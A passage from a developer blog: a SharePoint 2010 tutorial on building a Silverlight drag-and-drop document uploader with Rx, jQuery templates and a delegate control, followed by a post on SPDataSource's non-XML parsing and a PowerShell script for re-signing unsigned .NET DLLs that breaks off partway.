Note that this is something you could do with a Project Output Reference added to a Module project item (details here). If you wish to deploy the Silverlight application to a gallery within the site -- such as an assets library, or the master page gallery -- a Project Output Reference is certainly the way to go. For deployments to Layouts, or any of the other file system location on the frontend servers, Project Output References are of no help.

For this article we'll stick to Layouts folder deployment of the Silverlight application. This gives us the opportunity to use CKS:DEV to quick deploy the Silverlight app while we're developing it - rather than pushing files to the database for each rebuild. Once stable and ready for deployment, you may want to switch to the Module (and Project Output Reference) approach.

Right click the Silverlight project's node in the Solution Explorer and click "Settings" at the bottom. Once the property panes are open, go to "Build Events" tab, and enter the update the "Post-build" event command line:

copy /Y "$(TargetDir)$(TargetName).xap" "$(SolutionDir)DesktopUploader\Layouts\DesktopUploader\"

If you named the SharePoint project something other than DesktopUploader, you'll have to update the string above in two places.

Close the project properties, and the Project menu on the top menu bar. From there, select "Project Dependencies", and pick the "Desktop Uploader" project from the dropdown. Next make sure the checkbox next to the Silverlight project's name is checked.

This ensures that the Silverlight project is built before the SharePoint project, and that we'll thus get an updated Silverlight .xap file to deploy.

The final piece of the build-centric configuration tasks is to map the Layouts folder into the SharePoint project. This is tied to the build event configuration above, meaning that we'll be deploying the Silverlight .xap to a folder within the SharePoint Layouts folder.

Right click the SharePoint project node in the solution explorer, open the Add menu and click "SharePoint 'Layouts' Mapped Folder". Now build the solution once, and right click the DesktopUploader folder within the mapped Layouts folder in the solution explorer. Select Add -> Existing Item.

Navigate to the DesktopUploader project folder, and find Layouts within that, and finally DesktopUploader. Inside that folder, pick the .xap file and click Add.

Step 2 - Building the Silverlight uploader

Silverlight is the workhorse in this solution, in so much that it handles the actual file drop events as well as uploads the files to the server.

The Silverlight project will consist of:

A view that receives drag and drop events, triggers file sends, and communicates with the JavaScript.
A class which takes care of uploading a file to the SharePoint REST file service.

We'll start with the XAML markup. In the MainPage.xaml file, replace the Grid's code with the following:


<Grid x:Name="LayoutRoot">
    <Border BorderBrush="DarkSlateBlue" BorderThickness="3">
        <TextBlock VerticalAlignment="Center" HorizontalAlignment="Center" FontSize="14" Foreground="DarkSlateBlue">
            Drop files here to upload
        </TextBlock>
    </Border>
    <Rectangle
      AllowDrop="True"
      Drop="OnDrop"
      DragLeave="OnDragLeave" 
      DragEnter="OnDragEnter" 
      Fill="Transparent"></Rectangle>
</Grid>

This markup will draw two overlapping structures. One transparent overlay (the Rectangle), and a Border with some text in the center. The event handlers have to be defined in a transparent overlay, rather than the LayoutRoot, to get consistent events for the whole Silverlight. Had there not been an overlay, and LayoutRoot received the events, DragLeave and DragEnter would fire as the mouse dragged past the other elements (such as the TextBlock). For reasons obvious later, we need DragEnter to fire once as the mouse drags onto the Silverlight app, and DragLeave to fire once as we drag off it.

The codebehind for this page will mainly process and act upon the drag events. We'll deal with the rather simple DragEnter and DragLeave first.


private void OnDragEnter(object sender, DragEventArgs e)
{
    HtmlPage.Window.Eval("window.SLFileDrop.onDragEntersDropZone()");
}

private void OnDragLeave(object sender, DragEventArgs e)
{
    HtmlPage.Window.Eval("window.SLFileDrop.onDragLeavesDropZone()");
}

Both of these events are offloaded for processing by the JavaScript. HtmlPage.Window.Eval allows Silverlight to evaluate and execute JavaScript within the browser, and as such retrieve / send information to the scripts present on the page. The objects and methods referenced in the snippet above, e.g. SLFileDrop and onDragEntersDropZone, haven't been defined yet - we'll get back to those when we type up the JavaScript.

Moving on to the OnDrop handler.


private void OnDrop(object sender, DragEventArgs e)
{
    try
    {
        string rootUrl = HtmlPage.Window.Eval("window.SLFileDrop.getRootUrl()") as string;
        if (rootUrl == null) return;
        HtmlPage.Window.Eval("window.SLFileDrop.onDrop()");
        var files = e.Data.GetData(DataFormats.FileDrop) as FileInfo[];
        IEnumerable<FileInfo> filesToUpload = files.Where(file => file.Exists);
        UploadFilesAsync(filesToUpload, rootUrl + (rootUrl.EndsWith("/") ? "" : "/"));
    }
    catch (Exception ex)
    {
        DisplayErrorMessage(ex);
    }
}

This demonstrates information fetching from the JavaScript, as getRootUrl is called - a method which returns the url of the document library folder we are to send the file to.

The main piece to this method is the retrieval of the files dropped onto the application, which are returned by the call to GetData. We then go on to pick files who's Exists flag is set to true, and pass them on to another method of ours - the asynchronous uploader.

And that's where it all seems to get complex.


private void UploadFilesAsync(IEnumerable<FileInfo> filesToUpload, string folderUrl)
{
    IDisposable uploadTaskDisposable = null;
    uploadTaskDisposable =
        (from file in filesToUpload
         select BeginUploadFile(file, folderUrl))
            .Merge().Skip(filesToUpload.Count() - 1)
            .ObserveOnDispatcher()
            .Subscribe(
                o =>
                    {
                        UploadComplete();
                        uploadTaskDisposable.Dispose();
                    },
                exception => DisplayErrorMessage(exception));
}

The goal of Microsoft's Reactive Extensions framework is to simplify event driven programming. Silverlight applications, and most other GUI aplications, for the most react to some UI event - and either produce a response immediately (synchronously), or at some later point in time (asynchronously). In the case of our application, we react to drop events, and start long running uploads which will themselves raise events when they are done. The glue code in our Silverlight application can thus be thought to sit in the middle and _observe_ events from sources around it. Rx turns events and synchronous calls into IObservable sequences.

To get a better hold on what's going on in the code above, and what we'll be doing in the following methods, let us start by getting a hold of what we're actually trying to express.

For each of the files dropped on the Silverlight application, we want to start a new upload task. For each such new upload task, we want to have periodic updates on progress, as well as be notified when the upload finishes. When we've received completion events for all files, we want to notify the JavaScript that we're all done.

Hence; for each file, it calls BeginUploadFile, and selects the return. This will be an IObservable - and thus the result of the Linq block will be a sequence of observables. The next call merges all of these observable event producers into a single stream of events, from which we can skip all but the last one. The Subscribe call at the end will be raised for the final upload finished event, and will go on to notify the JavaScript about this.


private IObservable<IEvent<HttpFileUploader.UploadEventArgs>> BeginUploadFile(FileInfo file, string folderUrl)
{
    var uploader = new HttpFileUploader(Dispatcher, file, "PUT", new Uri(folderUrl + file.Name, UriKind.Relative));
    var progressDisposable = CatchProgress(file, uploader);
    var finish = CatchUploadFinished(file, uploader);
    finish.Subscribe(s => progressDisposable.Dispose());
    HtmlPage.Window.Eval(string.Format("window.SLFileDrop.onUploadStart('{0}')", file.Name));
    uploader.StartUpload();
    return finish;
}

BeginUploadFile will start by creating a new HttpFileUploader - a class I'll soon supply you with - and instruct it to HTTP PUT a file to the url indicated by folderUrl (which we requested from the JavaScript earlier). It then goes on to catch progress events from the uploader, as well as upload finish events. The call to Subscribe on the finish event will ensure that the progressDisposable is released properly once we're no longer interested in progress updates from this single file.

Finally it will send a notification to the JavaScript, that we've started uploading a named file, and return the finish event observable.


private static IDisposable CatchProgress(FileInfo fi, HttpFileUploader uploader)
{
    return Observable.FromEvent<HttpFileUploader.UploadEventArgs>(
        o => uploader.UploadProgressChanged += o,
        o => uploader.UploadProgressChanged -= o)
        .Throttle(TimeSpan.FromMilliseconds(250))
        .ObserveOnDispatcher()
        .Subscribe(s => HtmlPage.Window.Eval(
            string.Format("window.SLFileDrop.onUploadProgress('{0}', {1}, {2}, {3}, {4})",
                          fi.Name, s.EventArgs.BytesSent,
                          s.EventArgs.BytesTotal, 0, 0)));
}

Hooking onto progress events employs another Rx trick. It creates an observable sequence from a plain .NET event object (UploadProgressChanged within HttpFileUploader). This observable is then filtered by calling Throttle with a TimeSpan of 250 ms - meaning that we don't want progress updates more often than each quarter of a second.

For each raised event (that is at most each quarter second), we call back to the JavaScript, notifying it of progress for the named file.


private static IObservable<IEvent<HttpFileUploader.UploadEventArgs>> CatchUploadFinished(FileInfo fi, HttpFileUploader uploader)
{
    IObservable<IEvent<HttpFileUploader.UploadEventArgs>> obs =
        Observable.FromEvent<HttpFileUploader.UploadEventArgs>(o => uploader.UploadFinished += o,
                                                               o => uploader.UploadFinished -= o);
    obs.Subscribe(s => HtmlPage.Window.Eval(string.Format("window.SLFileDrop.onUploadComplete('{0}')", fi.Name)));
    return obs;
}

Catching file upload finished events isn't too different from catching progress events. For each of these events, we notify the JavaScript. Looking back to BeginUploadFile, we'll notice that we don't return a disposable from this method - unlike the CatchProgress method. This is because the finish observable will be be part of the sequence bound in UploadFilesAsync - and will thus be disposed as part of the cleanup going down when all files have finished uploading.

The missing pieces of the MainPage.xaml.cs file are as follows. There aren't much to them, so I'll leave you to figure out what their purpose is.


private static void UploadComplete()
{
    HtmlPage.Window.Eval("window.SLFileDrop.onAllUploadsComplete()");
}

private static MessageBoxResult DisplayErrorMessage(Exception exception)
{
    return MessageBox.Show(exception.ToString(), "Error", MessageBoxButton.OK);
}

The following is the complete source listing for the HttpFileUploader class.


public class HttpFileUploader
{
    private readonly Dispatcher _dispatcher;
    private readonly FileInfo _file;
    private readonly string _method;
    private readonly Uri _uploadUrl;
    private long _bytesTotal;
    private long _bytesUploaded;
    private FileStream _fileStream;
    private bool _isActive;

    public HttpFileUploader(Dispatcher dispatcher, FileInfo file, string method, Uri url)
    {
        _dispatcher = dispatcher;
        _file = file;
        _method = method;
        _uploadUrl = url;
        _isActive = false;
    }

    public long BytesUploaded
    {
        get { return _bytesUploaded; }
    }

    public event EventHandler<UploadEventArgs> UploadError;
    public event EventHandler<UploadEventArgs> UploadFinished;
    public event EventHandler<UploadEventArgs> UploadProgressChanged;

    public bool StartUpload()
    {
        if (_isActive)
        {
            throw new InvalidOperationException("Uploader is already active");
        }
        _isActive = true;
        _fileStream = _file.OpenRead();
        var webRequest = (HttpWebRequest)WebRequestCreator.ClientHttp.Create(_uploadUrl);
        webRequest.Method = _method;
        webRequest.ContentType = "multipart/form-data; charset=utf-8";
        webRequest.BeginGetRequestStream(WriteToStreamCallback, webRequest);
        _bytesUploaded = 0;
        _bytesTotal = _fileStream.Length;
        return true;
    }

    private void InvokeUploadError(string error)
    {
        var args = new UploadEventArgs
        {
            BytesSent = _bytesUploaded,
            BytesTotal = _bytesTotal,
            ErrorMessage = error,
            IsDone = false,
            IsError = true
        };
        EventHandler<UploadEventArgs> handler = UploadError;
        if (handler != null) handler(this, args);
    }

    private void InvokeUploadFinished(HttpStatusCode statusCode)
    {
        var args = new UploadEventArgs
        {
            IsDone = true,
            IsError = false,
            BytesSent = _bytesUploaded,
            BytesTotal = _bytesUploaded,
            StatusCode = statusCode
        };
        EventHandler<UploadEventArgs> handler = UploadFinished;
        if (handler != null) handler(this, args);
    }

    private void InvokeUploadProgressChanged()
    {
        var args = new UploadEventArgs
        {
            IsDone = false,
            IsError = false,
            BytesSent = _bytesUploaded,
            BytesTotal = _bytesTotal
        };
        EventHandler<UploadEventArgs> handler = UploadProgressChanged;
        if (handler != null) handler(this, args);
    }

    private void ReadHttpResponseCallback(IAsyncResult asynchronousResult)
    {
        _isActive = false;
        try
        {
            var webRequest = (HttpWebRequest)asynchronousResult.AsyncState;
            var webResponse = (HttpWebResponse)webRequest.EndGetResponse(asynchronousResult);
            _fileStream.Close();
            _fileStream.Dispose();
            _dispatcher.BeginInvoke(
                () => InvokeUploadFinished(webResponse.StatusCode));
        }
        catch (Exception e)
        {
            if (_fileStream != null)
            {
                _fileStream.Close();
                _fileStream.Dispose();
                _fileStream = null;
            }
            _isActive = false;
            InvokeUploadError(e.Message);
        }
    }

    private void WriteToStreamCallback(IAsyncResult asynchronousResult)
    {
        try
        {
            var webRequest = (HttpWebRequest)asynchronousResult.AsyncState;
            Stream requestStream = webRequest.EndGetRequestStream(asynchronousResult);
            var buffer = new Byte[131072];
            int bytesRead = 0;
            while ((bytesRead = _fileStream.Read(buffer, 0, buffer.Length)) != 0)
            {
                requestStream.Write(buffer, 0, bytesRead);
                requestStream.Flush();
                _bytesUploaded += bytesRead;
                _dispatcher.BeginInvoke(InvokeUploadProgressChanged);
            }
            requestStream.Close();
            webRequest.BeginGetResponse(ReadHttpResponseCallback, webRequest);
        }
        catch (Exception e)
        {
            if (_fileStream != null)
            {
                _fileStream.Close();
                _fileStream.Dispose();
                _fileStream = null;
            }
            _isActive = false;
            InvokeUploadError(e.Message);
        }
    }

    #region Nested type: UploadEventArgs

    public class UploadEventArgs : EventArgs
    {
        public long BytesSent { get; set; }
        public long BytesTotal { get; set; }
        public string ErrorMessage { get; set; }
        public bool IsDone { get; set; }
        public bool IsError { get; set; }
        public HttpStatusCode StatusCode { get; set; }
    }

    #endregion
}

Describing this in depth is outside of the scope of this article, but a short sum-up is regardless in order. What it will essentially do is create a new HTTP PUT connection to the SharePoint site, using the ClientHttp stack in Silverlight. The client stack was introduced in Silverlight 3.5, and separates itself from the browser stack mainly as follows: 1. It allows REST HTTP verbs, such as PUT. 2. It doesn't share cookies with the browser, so sites with Basic Authentication will yield a password popup. For scenarios where this uploader is to be used with Basic Auth sites, the HttpUploader will have to be rewritten to not use the REST services (e.g. by deploying a custom WCF upload service capable of POST on the server side).

The HTTP connection will be established asynchronously, so in terms of our BeginUploadFile described earlier, the call to StartUpload will return immediately.

This pretty much concludes the Silverlight part of the solution.

Next up is the SharePoint project.

Step 3 - Setting up the SharePoint project, adding a delegate and user control

What we'll have to do next is add a delegate control to the project, which does the actual script injection. Since we can't know which pages contain document library web parts up front, this will be injected into all the pages of the portal. The pages without a document library view won't be affected. Pages with one or more doclibs on them will have the Silverlight app added, and scripts loaded.

Right click the SharePoint project's node in the Solution Explorer, and go to Add -> New Item. Go to the SharePoint 2010 templates, and pick "User Control".

Name the control e.g. "DesktopUploader.ascx" and click Add.

To have this user control injected into the various SharePoint pages, we'll have to reference it from a delegate control. Right click the SharePoint project's node in the Solution Explorer again, and pick "Delegate Control (CKSDev)" from the SharePoint 2010 items.

Name the control e.g. "DesktopUploaderDelegate" and click Add.

In the wizard that follows, enter the following values:

"Specify the ID of the control": AdditionalPageHead
"Sequence Number": 20
"Specify the relative URL": ~/_ControlTemplates/DesktopUploader/DesktopUploader.ascx

In page two of the wizard, simply click Finish.

You will now have gotten a new Feature, as well as a delegate control. You can go ahead and rename the feature if you'd like.

At this point your project should look something like the following.

We're now ready for the JavaScript bits to go into the user control.

Step 4 - Implementing the JavaScript

The JavaScript will go inside the "DesktopUploader.acx" user control.

At the top of the user control, directly below the assembly and control directives (prefixed with "<%@"), there will be a style sheet. The styles are mostly for the progress indicators we show as the files are being uploaded.


<style>
    #SLFileDropStatus
    {
        position: absolute;
        z-index: 300;
    }
    .SLFileDropEntry
    {
        white-space: nowrap;
        overflow: hidden;
    }
    .SLFileDropLabel
    {
        font-size: 8pt;
        color: Gray;
        font-family: Verdana, Tahoma, helvetica;
        display: inline-block;
    }
    .SLFileDropProgressBar
    {
        display: block;
        height: 6px;
        width: 100px;
        border: 1px solid gray;
    }
    .SLFileDropProgress
    {
        width: 0px;
        background: gray;
        margin: 1px;
        height: 4px;
    }
    .SLFileDropActive
    {
        border: 2px solid #44aff6;
    }
</style>

Following this we'll add a serverside script tag, which will provide us with the server relative url of the current SharePoint site.


<script runat="server" language="C#">
    private static string ServerRelativeUrl
    {
        get
        {
            string url = SPContext.Current.Web.ServerRelativeUrl;
            return url.EndsWith("/") ? url.Substring(0, url.Length - 1) : url;
        }
    }
</script>

Given this server side method, we can be sure to refer to the various resources we need with a site relative url.

The final pieces to add, before getting to the actual script, are a progress indicator placeholder and two jQuery templates.


<div id="SLFileDropStatus"></div>
<script id="SLTemplate" type="text/x-jquery-tmpl">
    <div id="${id}" style="${style}">
        <object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
            <param name="source" value="${source}" />
            <param name="onError" value="onSilverlightError" />
            <param name="background" value="white" />
            <param name="minRuntimeVersion" value="4.0.50401.0" />
            <param name="autoUpgrade" value="true" />
            <a href="http://go.microsoft.com/fwlink/?LinkID=149156&v=3.0.40624.0" style="text-decoration:none">
                <img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>
            </a>
        </object>
    </div>   
</script>
<script id="SLFileUploadEntryTemplate" type="text/x-jquery-tmpl">
    <div SLFileName="${name}" class="SLFileDropEntry">
        <table cellpadding='0' cellspacing='0'>
            <tr>
                <td>
                    <div class='SLFileDropLabel'>${name}</div>
                </td>
                <td width='5px'/>
                <td>
                    <div class='SLFileDropProgressBar'>
                        <div class='SLFileDropProgress'/>
                    </div>
                </td>
            </tr>
        </table>
    </div>
</script>
</html>

If you aren't familiar with jQuery templates, you can think of them as html code structures, which will have data placeholders in them - such as ${name} and ${source} above - that will be instantiated and filled by jQuery. Given the Silverlight template above, we can easily provision Silverlight apps given an id, a style string and a source url for the xap file, without having to type out the whole html block within our JavaScript.

Heading to the JavaScript, what it'll be doing is essentially:

Wait for SP.js to be loaded - indicating that most of the page is ready for use, and we can access urls for the document libraries on the page.
Use my open source script loader to load jQuery if its not present, the jQuery template plugin - if that's not there and finally my open source tool library.
Upon all scripts being loaded, define a SLFileDrop class / object, which will hold all the JavaScript drag and drop logic.
Upon jQuery being available: check if there are any document library views on the page, and if so initialize the javascript class.

We'll start with laying out the script block for point 1 and 2 above.


<script type="text/javascript">
    grep.core.executeAfterSPLoad(function () {
        grep.scriptloader.load(typeof $, grep.core.getCoreJSUrl() + "jquery.min.js");
        grep.scriptloader.load(function () { return typeof $ === "undefined" || typeof $.tmpl === "undefined"; },
                               grep.core.getCoreJSUrl() + "jquery.tmpl.min.js");
        grep.scriptloader.load(typeof grep.tools, grep.core.getCoreJSUrl() + "grep.tools.min.js");
        grep.scriptloader.exec(function () {
        }
    }
</script>

Granted that my open source Grep.SharePoint.CoreJS solution (linked on top of this article) has been activated for the site collection, grep.core and grep.scriptloader will be available for use in the script.

grep.core.executeAfterSPLoad(function) will essentially register a function to be called once SP.js is fully loaded.

grep.core.getCoreJSUrl() will return the server relative url of the folder where the scripts deployed by my core javascript solution reside.

grep.scriptloader.load(test, scriptUrl) will run evaluate the parameter passed as "test". It will load the script passed as scriptUrl if:

test is a string (which is the case for e.g.: typeof $) and is equal to "undefined"
if test is a boolean or function, and is equal to true

In the case of the above code, jQuery templates will be loaded if either jQuery isn't defined, or jQuery templates isn't defined.
grep.scriptloader.exec(function) will execute the function passed to it, as soon as all the script loads defined prior to the call to exec has completed. In our case, the function will execute when jQuery, jQuery templates and grep.tools are loaded.

Moving on with the end, we'll add the script block that verifies that jQuery is loaded, that we've got a document library view on the page, and finally initialize the main javascript.


// Execute init when jQuery's loaded
$(function () {
    if ($("table[id^=onetidDoclibViewTbl]").size() == 0) return;
    window.SLFileDrop.init();
});

And finally, here's the main class. It's defined on the window (global) object.


window.SLFileDrop = {
    activeDocLib: null,
    dropZone: null,
    statusBox: null,
    leaveTimeoutId: -1,
    init: function () {
        this.statusBox = $("div#SLFileDropStatus");
        this.dropZone = ($("#SLTemplate")
            .tmpl({
                id: "SLFileDropHelper",
                source: "<%= ServerRelativeUrl %>/_layouts/Grep.SharePoint.DesktopDrag/SLFileDrop.xap?r=<%= new Random().Next() %>",
                style: "position: absolute; left: -1px; top: -1px; width: 1px; height: 1px; display: none; z-index: 100000;"
            }))
            .appendTo("body");
        var filedrop = this;
        $("table[id^=onetidDoclibViewTbl]").closest("div[id^=WebPartWP]")
            .bind("dragenter", function (e) {
                // Avoid duplicate events
                if (filedrop.isMouseWithinActiveDoclib(e.clientX, e.clientY)) { 
                    filedrop.abortDropZoneHideTimer();
                    return;
                }
                if (filedrop.activeDocLib != null) {
                    // Entering another doclib than the currently active
                    filedrop.hideDropZone(true);
                }
                filedrop.activeDocLib = $(this);
                filedrop.activeDocLib.closest(".s4-wpTopTable").addClass("SLFileDropActive");
                filedrop.showDropZone(e);
                return false;
            });
        this.dropZone.show();
    },
    abortDropZoneHideTimer: function() {
        if (this.leaveTimeoutId != -1) {
            window.clearTimeout(this.leaveTimeoutId);
            this.leaveTimeoutId = -1;
        }
    },
    getFileEntry: function (name) {
        return this.statusBox.find("div[SLFileName=" + name + "]");
    },
    getRootUrl: function () {
        if (this.activeDocLib == null) return null;
        var num = this.activeDocLib.find("div[name=LinkFilename]:first").attr("CTXNum");
        var theCtx = null;
        if (typeof (num) != "undefined") theCtx = g_ctxDict['ctx' + num];
        var docLibSrc = this.activeDocLib.find("iframe[id^=FilterIframe]").attr("FilterLink");
        var folderUrl = "";
        if (typeof (docLibSrc) != "undefined") folderUrl = unescape(grep.tools.queryString("RootFolder", docLibSrc));
        if (folderUrl == "") {
            if (theCtx == null) throw "Document library context node not found";
            folderUrl = theCtx.listUrlDir;
        }
        return folderUrl;
    },
    hideDropZone: function () {
        if (this.activeDocLib != null) {
            this.activeDocLib.closest(".s4-wpTopTable").removeClass("SLFileDropActive");
            this.activeDocLib = null;
        }
        this.dropZone.css({ left: -1, top: -1, width: 1, height: 1 });
    },
    isMouseWithinActiveDoclib: function (mouseX, mouseY) {
        if (this.activeDocLib == null) return false;
        var offset = this.activeDocLib.offset();
        return mouseX >= offset.left && mouseX < offset.left + this.activeDocLib.outerWidth() &&
               mouseY >= offset.top && mouseY < offset.top + this.activeDocLib.outerHeight();
    },
    makeFileEntry: function (name) {
        var entry = this.getFileEntry(name);
        if (entry.size() != 0) return entry;
        $("#SLFileUploadEntryTemplate")
            .tmpl({ name: name })
            .appendTo(this.statusBox);
        return entry;
    },
    removeFileEntry: function (name) {
        this.getFileEntry(name).remove();
    },
    onAllUploadsComplete: function () {
        this.statusBox.hide();
        $(document.body).unbind("mousemove.SLFileDrop");
        _SubmitFormPost(_CorrectUrlForRefreshPageSubmitForm(), false, true);
    },
    onDragEntersDropZone: function () {
        this.abortDropZoneHideTimer();
    },
    onDragLeavesDropZone: function () {
        var filedrop = this;
        this.leaveTimeoutId = window.setTimeout(function() {  
            filedrop.hideDropZone();
        }, 200);
    },
    onDrop: function () {
        var filedrop = this;
        $(document.body).bind("mousemove.SLFileDrop", function (e) {
            filedrop.statusBox.css({ left: e.clientX + 10, top: e.clientY + 10 })
        });
        this.statusBox.show();
        this.hideDropZone();
    },
    onUploadComplete: function (name) {
        this.removeFileEntry(name);
    },
    onUploadProgress: function (name, sentBytes, totalBytes, fileNum, totalFiles) {
        try {
            this.setFileEntryProgress(name, sentBytes / totalBytes * 100);
        }
        catch (e) { 
        }
    },
    onUploadStart: function (name) {
        this.makeFileEntry(name);
    },
    setFileEntryProgress: function (name, pct)
    {
        this.getFileEntry(name).find(".SLFileDropProgress").css("width", pct + "%");
    },
    showDropZone: function (e) {
        var docLibOffset = this.activeDocLib.offset();
        this.dropZone.show();
        var filedrop = this;
        setTimeout(function() { 
            filedrop.dropZone.css({
                left: docLibOffset.left,
                top: docLibOffset.top,
                width: filedrop.activeDocLib.outerWidth(),
                height: filedrop.activeDocLib.outerHeight()
            });
        }, 5);
    }
}

The init method is the first method called, and it will setup a reference to the progress indicator placeholder, and provision a Silverlight box (using jQuery templates) to the end of the body tag. Finally it will hook onto dragenter events for all document library views.

The hooks into dragenter for doclibs is the most important piece here. What it'll do is, upon having files dragged over a document library, resize the Silverlight file catcher / uploader to the size of the document library view, and place it on top of the document library view. This will allow us to receive drop events meant for different document library views present on the same page.

The next point of interest is the getRootUrl. This method is called from the Silverlight app, and requests the server relative url of the current document library folder. It works by finding the context object number of the currently hovered document library view (captured by the dragenter event described above), and then looking up FilterLink for the document library view's FilterIframe. If present, this FilterLink will contain a RootFolder in the query string. If no such RootFolder is found, we take the listUrlDir from the document library view's context object instead.

The last piece worth noting in this JavaScript is the progress indicators. When a new upload is started, indicated by onDrop being called, we bind to the body's mousemove event, and show the progress indicator placeholder. This placeholder will be moved along with the mouse, while there are files still uploading. The onUploadStart method will be called one time for each file to be uploaded, and this method will go on to add a new entry (using jQuery templates) in the placeholder. Each of the file entries in the progress placeholder will get a special attribute set to the name of the file, so when progress and completion notifications arrive, we can call our getFileEntry method with the filename, and retrieve a html element on which we can either update the progress, or remove - in case of a finish event.

Step 5 - Deploying the solution

When you've got the JavaScript in place, and you've activated the Grep.SharePoint.CoreJS feature on your development site collection, you can go ahead and build and deploy the Visual Studio solution.

Well within a document library, or on a page with document library views, you should now be able to drag files from the desktop onto the document library. As the mouse moves onto a document library view, the Silverlight application should become visible. Upon dropping the files there, the progress indicators should become visible and follow the mouse as you move that around. When all files are uploaded, the page should refresh.

Points of improvements

There's plenty of room for improvement here, especially visually. Progress indicators could be moved into the Silverlight application, or rendered differently by the JavaScript. Similarly, the user should be redirected to a page for document annotation once the upload has completed, if the upload was made against a document library which requires certain meta data fields for new documents.

Other than that, the solution should work pretty well, and at least serve as a general introduction to mixing various often mentioned technologies (SharePoint, jQuery, jQuery Templates, Silverlight, Rx, CKS Dev and so forth) into one merry solution.

Resources

Example Project Source Code

SPDataSource is what's wrong with this industry

2010-12-06T18:54:00.008+01:00

The title for this rant of a post could also easily have been: If you stick to XML for configuration, you better parse it as XML.

I spent quite a bit of time today, trying to figure out why an SPDataSource of mine wouldn't return any rows for a SiteCollection scoped query against specific lists. It all worked (seemingly) perfectly when I left out the list id specification:


dataSource.SelectCommand = "<Webs Scope='SiteCollection'/><View><ViewFields><FieldRef Name='Title' Type='Text' /></ViewFields></View>";

But as soon as the list id specifications were in place, it all failed miserably. Yielding nothing but "There are no items to show in this view" in the SPGridView I bound the data source to.


dataSource.SelectCommand = "<Webs Scope='SiteCollection'/><Lists><List ID='97B278EC-6AC1-4357-A1D1-3422D314AF11'/></Lists><View><ViewFields><FieldRef Name='Title' Type='Text' /></ViewFields></View>";

Digging high and low for a schema for the SelectCommand property - which seemed to set itself slightly apart from the familiar SPSiteDataQuery - I found nothing. 'Nothing' is also what I found when searching for others with similar problems. Next to it, at any rate: It seems that many have observed unpredictable results, depending on which tags they entered, and what numbers (if any) were passed as rowlimit. None of them, however, were related to the list id specification. The closest I came was one commenter who noted that SPDataSource came up blank, so he turned to SPSiteDataQuery and ObjectDataSource instead.

At this point, I turned to my only reliable source of information in dealing with SharePoint: Reflector.

Reading through the reflected source of SPDataSourceView's GetQueryAndFieldStringFromSelectCommand method, the problem quickly became apparent: SelectCommand isn't actually parsed as XML!

Long story short, the bits and pieces from SelectCommand that are eventually passed to SPSiteDataQuery, are actually extracted with string searches for "<TagName>" and "</TagName>". The consequence is:

None of the section marker tags (ViewFields, Webs, Lists) can be defined using self-closing syntax: <Lists />. Doing so will break the string searches.
<View>, as often specified in SelectCommand, can be dropped entirely. It's never used by SPDataSource.

So this is my friendly reminder to the SharePoint team: If you decide to stick with XML (even if you decide to call your dialect 'CAML') as a driving markup language in your application: Be sure to process it as such.

Finally: I can't for the life of me figure out why SPDataSource uses a single SelectCommand property, rather than sticking with the different properties from SPSiteDataQuery. It brings nothing but overhead. And trust me: there's enough overhead as it is.

Automated signing of unsigned .NET dlls, and updating references between them

2010-11-30T08:03:00.011+01:00

SharePoint is one of many beasts I spend a great deal of time tackling. In this particular case I found myself building a Proof-of-Concept webpart, meant for deployment into SP, around an unsigned API.

Being built on .NET, SharePoint will either require you to deploy dlls into the web application's bin folder - in which case the dlls can be unsigned - or into the global assembly cache. Deploying to the GAC (obviously) requires signed dlls.

Given my set of dlls - 50 of them actually - a couple signed, but most not; my only option would be to deploy them to the application's bin folder. The trouble with this approach, however, is two-fold.

First of all, deploying to the bin folder leaves you in the hand of the .NET CAS (code access security) policies. Granted the default trust settings in SharePoint, the dlls deployed would have very little access to the various system classes, file system and network. The way around this is to define a looser trust model all around - which will defeat the purpose of CAS policies in the first place, or add specific trust levels for all the assemblies. Figuring out the specific policies required for each of the 50 dlls isn't something I'd want to do for a in-development Proof-of-Concept.

The second issue with bin folder deployment, is the fact that even though you'll be able to deploy all the unsigned dlls there, you couldn't reference any of them from the signed dll which holds the SharePoint webpart. The way around that is to dynamically load each required dll with reflection. That, however, would leave you without a single symbol to use directly. All calls would have to be made through reflection. One could construct a signed bootstrapper assembly, which dynamically loades an unsigned dll of your own, that deals with the unsigned dlls - but that quickly turns hairy as well, when the webpart's ui has to call into and retrieve values from the unsigned dlls.

So, for test and development purposes, what I decided to do was write a PowerShell script which:

Disassembles all dlls in a folder
Parses the IL and updates references between the dlls, in order to point to their newly signed counterparts
Assembles and signs all dlls with a supplied key

And that amounts to the following:


param($keyfile = $(throw "Specify keyfile"), $backupFolder = "SignBackup")
function get-publickeytoken($keyfile) {
    $tempfile = [io.path]::GetTempFileName()
    sn -q -p $keyfile $tempfile
    $token = sn -q -t $tempfile
    rm $tempfile
    $token -replace ".*is ",''
}
function get-ilkeytoken($token) {
    "($($token -replace "([A-f0-9]{2})",'$1 '))"
}
$token = get-ilkeytoken(get-publickeytoken $keyfile)
$cd = get-location
$filesToClean = @()
# update il
gci *.dll | %{
    $dll = $_
    $fn = [system.io.path]::GetFileNameWithoutExtension($dll)
    $ilFile = "$fn.il"
    $filesToClean += "$ilFile","$fn.res"
    ildasm $dll /out:$ilFile >$null
    $ilFilePath = "$cd\$fn`.il"
    $il = [io.file]::readalltext($ilFilePath)
    write-host -ForegroundColor Blue Processing references for $dll
    [regex]::matches($IL, "\.assembly extern (.*?)\r\n") | %{ 
        # has external references
        $reference = $_.groups[1]
        $referencePath = "$cd\$reference`.dll"
        if ([io.file]::exists($referencePath)) {
            # it's a local reference            
            if ($il -match ".assembly extern $reference\r\n{[^}]*\r\n\s*\.publickeytoken") {
                # already has a strongname
                $il = [regex]::Replace($il, 
                                       "(extern $reference\r\n{[^}]*)\r\n\s*.publickeytoken\s*=\s*.*?`$([^}]*)", 
                                       "`$1`r`n  .publickeytoken = $token`$2", 
                                       [Text.RegularExpressions.RegexOptions]::Multiline)
                write-host -ForegroundColor DarkBlue Updated reference to $reference - Changed PublicKeyToken
            }
            else {
                # has no strong name
                $il = [regex]::Replace($il, 
                                       "(extern $reference\r\n{)", 
                                       "`$1`r`n  .publickeytoken = $token", 
                                       [Text.RegularExpressions.RegexOptions]::Multiline)
                write-host -ForegroundColor DarkBlue Updated reference to $reference - Added PublicKeyToken
            }
        }
    }
    set-content -path $ilFilePath $il
}
# rebuild dlls
rmdir -confirm:$false -r -force $backupFolder 2>$null
$null = mkdir $backupFolder
gci *.dll | %{
    $dll = $_
